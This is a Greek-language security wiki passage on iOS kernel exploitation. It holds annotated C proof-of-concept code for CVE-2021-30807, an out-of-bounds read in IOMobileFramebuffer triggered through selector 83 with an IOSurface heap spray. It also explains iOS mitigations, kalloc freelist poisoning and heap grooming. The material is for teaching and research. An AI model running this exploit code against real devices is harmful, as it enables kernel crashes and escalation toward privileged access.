- Αυτή η μέθοδος προωθεί στην **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, όπου **`scalar0`** (μια τιμή **32-bit** ελεγχόμενη από τον χρήστη) χρησιμοποιείται ως δείκτης (index) σε έναν εσωτερικό πίνακα δεικτών χωρίς **κανέναν έλεγχο ορίων**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → περνάει στο `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` ως **`IOSurface*`**.\
> **Αποτέλεσμα:** **OOB pointer read & type confusion** στον πίνακα αυτό. Εάν ο pointer δεν είναι έγκυρος, η deref του kernel προκαλεί panic → **DoS**.
> [!NOTE]
> Αυτό διορθώθηκε σε **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> Η αρχική συνάρτηση που καλεί `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` προστατεύεται από το entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Ωστόσο, η **WebKit.WebContent** έχει αυτό το entitlement, οπότε μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το vuln από μια sandboxed διαδικασία.
## DoS PoC
Παρακάτω είναι το αρχικό DoS PoC από το άρθρο στο blog με επιπλέον σχόλια:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Άνοιγμα του σωστού user client**
- `get_appleclcd_uc()` βρίσκει την υπηρεσία **AppleCLCD** και ανοίγει **user client type 2**. AppleCLCD και IOMobileFramebuffer μοιράζονται τον ίδιο external-methods πίνακα· το type 2 εκθέτει **selector 83**, τη ευπαθή μέθοδο. **Αυτό είναι το entry σου στο bug.** E_POC/)
**Γιατί το 83 έχει σημασία:** το decompiled μονοπάτι είναι:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Μέσα σε αυτή την τελευταία κλήση, ο κώδικας **χρησιμοποιεί το 32-bit scalar σου ως δείκτη πίνακα χωρίς έλεγχο ορίων**, παίρνει έναν pointer από **`this + 0xA58 + index*8`**, και **τον περνάει ως `IOSurface*`** στο `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Αυτό είναι το OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()` χρησιμοποιεί **`IOSurfaceRootUserClient`** για να **δημιουργήσει πολλά IOSurfaces** και να **spray small values** (`s_set_value` style). Αυτό γεμίζει τα γειτονικά kernel heaps με **pointers σε έγκυρα IOSurface objects**.
- **Στόχος:** όταν ο selector 83 διαβάσει πέρα από τον νόμιμο πίνακα, η **OOB θέση πιθανότατα θα περιέχει pointer σε ένα από τα (πραγματικά) IOSurfaces** σου---έτσι η μεταγενέστερη dereference **δεν κρασάρει** και **επιτυγχάνει**. IOSurface είναι ένα κλασικό, καλά τεκμηριωμένο kernel spray primitive, και η ανάρτηση του Saar αναφέρει ρητά τις μεθόδους **create / set_value / lookup** που χρησιμοποιούνται σε αυτή τη ροή εκμετάλλευσης.
3. **Το κόλπο "offset/8" (τι είναι πραγματικά αυτό το index)**
- Στο `trigger_oob(offset)`, ορίζεις `scalars[0] = offset / 8`.
- **Γιατί διαίρεση με 8;** Ο kernel κάνει **`base + index*8`** για να υπολογίσει ποια **pointer-sized slot** θα διαβάσει. Επιλέγεις το **"slot number N"**, όχι ένα byte offset. **Οκτώ bytes ανά slot** στο 64-bit.
- Η υπολογισμένη διεύθυνση είναι **`this + 0xA58 + index*8`**. Το PoC χρησιμοποιεί μια μεγάλη σταθερά (`0x1200000 + 0x1048`) απλά για να μεταβεί **πολύ έξω από τα όρια** σε μια περιοχή που προσπάθησες να **γεμίσεις πυκνά με pointers IOSurface**. **Αν το spray "νικήσει", η θέση που χτυπάς είναι ένα έγκυρο `IOSurface*`.**
4. **Τι επιστρέφει ο selector 83 (αυτό είναι το λεπτό μέρος)**
- Η κλήση είναι:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Εσωτερικά, μετά το OOB pointer fetch, ο driver καλεί\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Αποτέλεσμα:** **`output_scalars[0]` είναι ένα Mach port name (u32 handle) στο task σου** για *οποιοδήποτε object pointer έδωσες μέσω OOB*. **Δεν είναι ένα raw kernel address leak; είναι ένα userspace handle (send right).** Αυτή η ακριβής συμπεριφορά (copying a *port name*) φαίνεται στην decompilation του Saar.
**Γιατί είναι χρήσιμο:** με ένα **port name** προς το (υποτιθέμενο) IOSurface, μπορείς τώρα να χρησιμοποιήσεις μεθόδους του **IOSurfaceRoot** όπως:
- **`s_lookup_surface_from_port` (method 34)** → να μετατρέψεις το port σε **surface ID** που μπορείς να χειριστείς μέσω άλλων IOSurface κλήσεων, και
- **`s_create_port_from_surface` (method 35)** αν χρειάζεσαι το αντίστροφο.\
Ο Saar αναφέρει ρητά αυτές τις μεθόδους ως το επόμενο βήμα. **Το PoC αποδεικνύει ότι μπορείς να "παράγεις" ένα νόμιμο IOSurface handle από μια OOB θέση.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Αναφορές
- [Αρχικό writeup από τον Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Έρευνα από τον jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,259 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** στο iOS λειτουργεί απαιτώντας κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδεται από Apple. Όταν φορτώνεται κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή έναντι της αξιόπιστης root της Apple. Αν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται να την εκτελέσει. Αυτό εμποδίζει τους επιτιθέμενους να εισάγουν κακόβουλο κώδικα σε νόμιμες εφαρμογές ή να τρέχουν ανυπόγραφους δυαδικούς, σταματώντας στην πράξη τις περισσότερες αλυσίδες exploit που βασίζονται στην εκτέλεση αυθαίρετου ή τροποποιημένου κώδικα.
- **CoreTrust** είναι το υποσύστημα του iOS που είναι υπεύθυνο για την επιβολή του code signing σε runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root πιστοποιητικό της Apple χωρίς να βασίζεται σε cached trust stores, που σημαίνει ότι μόνο binaries υπογεγραμμένα από την Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εξασφαλίζει ότι ακόμα κι αν κάποιος αλλοιώσει μια app μετά την εγκατάσταση, τροποποιήσει system libraries ή προσπαθήσει να φορτώσει unsigned code, το σύστημα θα μπλοκάρει την εκτέλεση εκτός αν ο κώδικας παραμένει σωστά υπογεγραμμένος. Αυτή η αυστηρή επιβολή κλείνει πολλούς post-exploitation διαδρόμους που παλαιότερες εκδόσεις του iOS επέτρεπαν μέσω αδύνατων ή παρακαμπτόμενων ελέγχων υπογραφών.
- **Data Execution Prevention (DEP)** σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητά κώδικα. Αυτό εμποδίζει τους επιτιθέμενους να εγχύσουν shellcode σε data regions (όπως stack ή heap) και να τον εκτελέσουν, αναγκάζοντάς τους να βασιστούν σε πιο σύνθετες τεχνικές όπως ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** τυχαΐζει τις διευθύνσεις μνήμης για κώδικα, libraries, stack και heap κάθε φορά που τρέχει το σύστημα. Αυτό καθιστά πολύ δυσκολότερο για τους επιτιθέμενους να προβλέψουν πού βρίσκονται χρήσιμες εντολές ή gadgets, σπάζοντας πολλές αλυσίδες exploit που εξαρτώνται από στατικές διατάξεις μνήμης.
- **KASLR (Kernel ASLR)** εφαρμόζει την ίδια έννοια τυχαιοποίησης στον kernel του iOS. Με την ανακατέψη της base address του kernel σε κάθε εκκίνηση, εμποδίζει τους επιτιθέμενους να εντοπίσουν με αξιοπιστία kernel functions ή δομές, αυξάνοντας τη δυσκολία σε kernel-level exploits που διαφορετικά θα απέκτηναν πλήρη έλεγχο του συστήματος.
- **Kernel Patch Protection (KPP)** γνωστή και ως **AMCC (Apple Mobile File Integrity)** στο iOS, παρακολουθεί συνεχώς τις σελίδες κώδικα του kernel για να βεβαιωθεί ότι δεν έχουν τροποποιηθεί. Αν ανιχνευθεί οποιαδήποτε παραβίαση—όπως ένα exploit που προσπαθεί να αλλάξει kernel functions ή να εισάγει κακόβουλο κώδικα—η συσκευή θα πάθει panic και θα κάνει επανεκκίνηση. Αυτή η προστασία καθιστά πολύ πιο δύσκολα τα επίμονα kernel exploits, καθώς οι επιτιθέμενοι δεν μπορούν απλά να κάνουν hook ή patch σε kernel instructions χωρίς να προκαλέσουν κρασάρισμα του συστήματος.
- **Kernel Text Readonly Region (KTRR)** είναι μια hardware-based λειτουργία ασφάλειας που εισήχθη σε συσκευές iOS. Χρησιμοποιεί τον memory controller του CPU για να σημάνει το text section του kernel ως μόνιμα read-only μετά το boot. Μόλις κλειδωθεί, ούτε ο ίδιος ο kernel μπορεί να τροποποιήσει αυτή την περιοχή μνήμης. Αυτό αποτρέπει τους επιτιθέμενους—και ακόμα και privileged code—από το να κάνουν patch σε kernel instructions σε runtime, κλείνοντας μια σημαντική κατηγορία exploits που βασιζόταν στην άμεση τροποποίηση του kernel κώδικα.
- **Pointer Authentication Codes (PAC)** χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε αχρησιμοποίητα bits των pointers για να επαληθεύουν την ακεραιότητά τους πριν τη χρήση. Όταν δημιουργείται ένας pointer (όπως μια return address ή function pointer), η CPU τον υπογράφει με ένα secret key· πριν γίνει dereference, η CPU ελέγχει την υπογραφή. Αν ο pointer έχει παραποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματά. Αυτό εμποδίζει τους επιτιθέμενους από το να πλαστογραφήσουν ή να επαναχρησιμοποιήσουν κατεστραμμένους pointers σε memory corruption exploits, κάνοντας τεχνικές όπως ROP ή JOP πολύ πιο δύσκολες να υλοποιηθούν αξιόπιστα.
- **Privilege Access never (PAN)** είναι μια hardware λειτουργία που αποτρέπει τον kernel (privileged mode) από το να έχει άμεση πρόσβαση σε user-space μνήμη εκτός αν ενεργοποιήσει ρητά αυτή την πρόσβαση. Αυτό σταματάει επιτιθέμενους που απέκτησαν kernel code execution από το να διαβάσουν ή να γράψουν εύκολα user memory για να κλιμακώσουν exploits ή να κλέψουν ευαίσθητα δεδομένα. Με την επιβολή αυστηρού διαχωρισμού, το PAN μειώνει τον αντίκτυπο kernel exploits και μπλοκάρει πολλές κοινές τεχνικές privilege-escalation.
- **Page Protection Layer (PPL)** είναι ένας μηχανισμός ασφάλειας στο iOS που προστατεύει κρίσιμες περιοχές μνήμης που διαχειρίζεται ο kernel, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections χρησιμοποιώντας την MMU (Memory Management Unit) και πρόσθετους ελέγχους, εξασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί αυθαίρετα να τροποποιήσει ευαίσθητες σελίδες. Αυτό αποτρέπει επιτιθέμενους που αποκτούν kernel-level execution από το να παραποιήσουν security-critical δομές, κάνοντας την επιμονή και τις παρακαμπτήριες υπογραφών πολύ πιο δύσκολες.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
Ο kernel χρησιμοποιούσε έναν **zone allocator** (`kalloc`) χωρισμένο σε ζώνες ("zones") με σταθερό μέγεθος.
Κάθε ζώνη αποθηκεύει μόνο allocations μιας συγκεκριμένης size class.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Πολύ μικρές kernel structs, pointers. |
| `default.kalloc.32` | 32 bytes | Μικρές δομές, object headers. |
| `default.kalloc.64` | 64 bytes | IPC messages, πολύ μικροί kernel buffers. |
| `default.kalloc.128` | 128 bytes | Μεσαία αντικείμενα όπως μέρη του `OSObject`. |
| `default.kalloc.256` | 256 bytes | Μεγαλύτερα IPC messages, πίνακες, device structures. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Μεγάλες δομές, IOSurface/γραφικά metadata. |
**Πώς λειτουργούσε:**
- Κάθε αίτημα allocation γίνεται **στρογγυλοποιημένο προς τα πάνω** στο πλησιέστερο μέγεθος ζώνης.
(π.χ., ένα αίτημα 50-byte καταλήγει στη ζώνη `kalloc.64`).
- Η μνήμη σε κάθε ζώνη κρατιόταν σε μια **free list** — κομμάτια που απελευθερώνονταν από τον kernel επέστρεφαν σε εκείνη τη ζώνη.
- Αν υπερχείλιζες ένα buffer των 64 bytes, θα έγραφες πάνω στο **επόμενο αντικείμενο στην ίδια ζώνη**.
Γι’ αυτό το λόγο το **heap spraying / feng shui** ήταν τόσο αποτελεσματικό: μπορούσες να προβλέψεις τους γείτονες των αντικειμένων ψεκάζοντας allocations της ίδιας size class.
### The freelist
Μέσα σε κάθε kalloc ζώνη, τα ελεύθερα αντικείμενα δεν επιστρέφονταν άμεσα στο σύστημα — πήγαιναν σε ένα freelist, μια συνδεδεμένη λίστα διαθέσιμων chunks.
- Όταν ένα chunk απελευθερώνονταν, ο kernel έγραφε έναν pointer στην αρχή αυτού του chunk → τη διεύθυνση του επόμενου free chunk στην ίδια ζώνη.
- Η ζώνη κρατούσε έναν δείκτη HEAD στο πρώτο free chunk.
- Η allocation πάντα χρησιμοποιούσε το τρέχον HEAD:
1. Pop HEAD (επιστροφή εκείνης της μνήμης στον καλούντα).
2. Update HEAD = HEAD->next (αποθηκευμένο στην κεφαλίδα του freed chunk).
- Η απελευθέρωση έσπρωχνε τα chunks πίσω:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
Άρα το freelist ήταν απλώς μια συνδεδεμένη λίστα που χτιζόταν μέσα στην ίδια την ελεύθερη μνήμη.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Εκμετάλλευση του freelist
Δεδομένου ότι τα πρώτα 8 bytes ενός free chunk αντιστοιχούν στον freelist pointer, ένας επιτιθέμενος μπορεί να τον αλλοιώσει:
1. **Heap overflow** σε ένα διπλανό freed chunk → overwrite του “next” pointer.
2. **Use-after-free** write σε ένα freed object → overwrite του “next” pointer.
Έπειτα, στην επόμενη allocation αυτού του μεγέθους:
- Ο allocator κάνει pop στο corrupted chunk.
- Ακολουθεί το attacker-supplied “next” pointer.
- Επιστρέφει pointer προς arbitrary memory, επιτρέποντας fake object primitives ή targeted overwrite.
Οπτικό παράδειγμα freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
Αυτό το freelist design έκανε την εκμετάλλευση ιδιαίτερα αποτελεσματική πριν το hardening: predictable neighbors από heap sprays, raw pointer freelist links, και η έλλειψη type separation επέτρεπαν στους attackers να ανεβάσουν UAF/overflow bugs σε έλεγχο αυθαίρετης kernel μνήμης.
### Heap Grooming / Feng Shui
Ο στόχος του heap grooming είναι να **διαμορφώσει το layout της heap** έτσι ώστε όταν ένας attacker ενεργοποιήσει ένα overflow ή use-after-free, το στόχο (victim) αντικείμενο να βρίσκεται ακριβώς δίπλα σε ένα αντικείμενο που ελέγχεται από τον attacker.\
Με αυτόν τον τρόπο, όταν συμβεί καταστροφή μνήμης, ο attacker μπορεί αξιόπιστα να αντιγράψει πάνω στο victim αντικείμενο ελεγχόμενα δεδομένα.
**Βήματα:**
1. Spray allocations (fill the holes)
- Με την πάροδο του χρόνου, η kernel heap κατακερματίζεται: κάποιες ζώνες έχουν κενά όπου παλιά αντικείμενα απελευθερώθηκαν.
- Ο attacker πρώτα κάνει πολλές dummy allocations για να γεμίσει αυτά τα κενά, έτσι ώστε η heap να γίνει «συμπαγής» και προβλέψιμη.
2. Force new pages
- Μόλις τα κενά γεμίσουν, οι επόμενες allocations πρέπει να προέλθουν από νέες σελίδες που προστίθενται στη ζώνη.
- Νέες σελίδες σημαίνουν ότι τα αντικείμενα θα ομαδοποιηθούν μαζί, όχι σκορπισμένα πάνω σε παλαιά κατακερματισμένα τμήματα μνήμης.
- Αυτό δίνει στον attacker πολύ καλύτερο έλεγχο των γειτόνων.
3. Place attacker objects
- Ο attacker ψεκάζει ξανά, δημιουργώντας πολλά attacker-controlled objects σε αυτές τις νέες σελίδες.
- Αυτά τα αντικείμενα έχουν προβλέψιμο μέγεθος και θέση (εφόσον ανήκουν στην ίδια ζώνη).
4. Free a controlled object (make a gap)
- Ο attacker σκόπιμα απελευθερώνει κάποιο από τα δικά του αντικείμενα.
- Αυτό δημιουργεί μια «τρύπα» στην heap, την οποία ο allocator θα ξαναχρησιμοποιήσει για την επόμενη allocation ίδιου μεγέθους.
5. Victim object lands in the hole
- Ο attacker προκαλεί το kernel να κάνει allocation για το victim αντικείμενο (αυτό που θέλει να καταστρέψει).
- Εφόσον η τρύπα είναι το πρώτο διαθέσιμο slot στο freelist, το victim τοποθετείται ακριβώς εκεί που ο attacker απελευθέρωσε το αντικείμενό του.
6. Overflow / UAF into victim
- Τώρα ο attacker έχει attacker-controlled objects γύρω από το victim.
- Με overflow από κάποιο από τα δικά του αντικείμενα (ή επαναχρησιμοποίηση ενός freed), μπορεί αξιόπιστα να αντικαταστήσει τα πεδία μνήμης του victim με επιλεγμένες τιμές.
**Γιατί δουλεύει**:
- Zone allocator predictability: allocations ίδιου μεγέθους πάντα προέρχονται από την ίδια ζώνη.
- Freelist behavior: νέες allocations ξαναχρησιμοποιούν πρώτα το πιο πρόσφατα freed chunk.
- Heap sprays: ο attacker γεμίζει τη μνήμη με προβλέψιμο περιεχόμενο και ελέγχει το layout.
- Τελικό αποτέλεσμα: ο attacker ελέγχει πού προσγειώνεται το victim αντικείμενο και ποια δεδομένα βρίσκονται δίπλα του.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Η Apple ενίσχυσε τον allocator και έκανε το **heap grooming πολύ πιο δύσκολο**:
### 1. From Classic kalloc to kalloc_type
- **Before**: υπήρχε μια μοναδική `kalloc.<size>` ζώνη για κάθε size class (16, 32, 64, … 1280, κ.λπ.). Οποιοδήποτε αντικείμενο αυτού του μεγέθους τοποθετούνταν εκεί → attacker objects μπορούσαν να βρεθούν δίπλα σε privileged kernel objects.
- **Now**:
- Kernel objects allocated από **typed zones** (`kalloc_type`).
- Κάθε type αντικειμένου (π.χ. `ipc_port_t`, `task_t`, `OSString`, `OSData`) έχει τη δική του αφιερωμένη ζώνη, ακόμα κι αν έχουν το ίδιο μέγεθος.
- Το mapping μεταξύ object type ↔ zone δημιουργείται από το **kalloc_type system** κατά το compile time.
Ένας attacker πλέον δεν μπορεί να εγγυηθεί ότι ελεγχόμενα δεδομένα (`OSData`) θα βρεθούν δίπλα σε ευαίσθητα kernel objects (`task_t`) ίδιου μεγέθους.
### 2. Slabs and Per-CPU Caches
- Η heap χωρίζεται σε **slabs** (σελίδες μνήμης χωρισμένες σε fixed-size chunks για εκείνη τη ζώνη).
- Κάθε ζώνη έχει ένα **per-CPU cache** για μείωση contention.
- Allocation path:
1. Προσπάθεια από per-CPU cache.
2. Αν είναι άδειο, τράβηγμα από το global freelist.
3. Αν το freelist είναι άδειο, allocate νέου slab (μία ή περισσότερες σελίδες).
- **Όφελος**: αυτή η αποκέντρωση κάνει τα heap sprays λιγότερο ντετερμινιστικά, καθώς allocations μπορεί να εξυπηρετηθούν από caches διαφορετικών CPUs.
### 3. Randomization inside zones
- Εντός μιας ζώνης, τα freed elements δεν επιστρέφονται σε απλή FIFO/LIFO σειρά.
- Το σύγχρονο XNU χρησιμοποιεί **encoded freelist pointers** (safe-linking σαν το Linux, εισήχθη ~iOS 14).
- Κάθε freelist pointer είναι **XOR-κωδικοποιημένος** με ένα per-zone secret cookie.
- Αυτό αποτρέπει τους attackers από το να πλαστογραφήσουν fake freelist pointer αν αποκτήσουν write primitive.
- Κάποιες allocations **τυχαίνουν στη θέση μέσα σε ένα slab**, οπότε το spraying δεν εγγυάται γειτονία.
### 4. Guarded Allocations
- Ορισμένα κρίσιμα kernel αντικείμενα (π.χ. credentials, task structures) allocated σε **guarded zones**.
- Αυτές οι ζώνες εισάγουν **guard pages** (unmapped μνήμη) μεταξύ slabs ή χρησιμοποιούν **redzones** γύρω από αντικείμενα.
- Οποιοδήποτε overflow στο guard page προκαλεί fault → άμεσο panic αντί για σιωπηρή καταστροφή.
### 5. Page Protection Layer (PPL) και SPTM
- Ακόμα και αν ελέγχεις ένα freed αντικείμενο, δεν μπορείς να τροποποιήσεις όλη την kernel μνήμη:
- **PPL (Page Protection Layer)** επιβάλλει ότι ορισμένες περιοχές (π.χ. code signing data, entitlements) είναι **read-only** ακόμη και για το kernel.
- Σε **A15/M2+ συσκευές**, αυτός ο ρόλος αντικαθίσταται/ενισχύεται από **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- Αυτά τα hardware-enforced layers σημαίνουν ότι οι attackers δεν μπορούν να ανεβάσουν ένα single heap corruption σε αυθαίρετο patching κρίσιμων security structures.
### 6. Large Allocations
- Όχι όλες οι allocations περνούν από `kalloc_type`.
- Πολύ μεγάλες αιτήσεις (πάνω από ~16KB) παρακάμπτουν typed zones και εξυπηρετούνται απευθείας από **kernel VM (kmem)** μέσω page allocations.
- Αυτές είναι λιγότερο προβλέψιμες, αλλά και λιγότερο εκμεταλλεύσιμες, καθώς δεν μοιράζονται slabs με άλλα αντικείμενα.
### 7. Allocation Patterns Attackers Target
Ακόμα και με αυτές τις προστασίες, attackers ψάχνουν για:
- **Reference count objects**: αν μπορέσεις να παραποιήσεις retain/release counters, μπορείς να προκαλέσεις use-after-free.
- **Objects with function pointers (vtables)**: η καταστροφή ενός τέτοιου αντικειμένου ακόμα δίνει control flow.
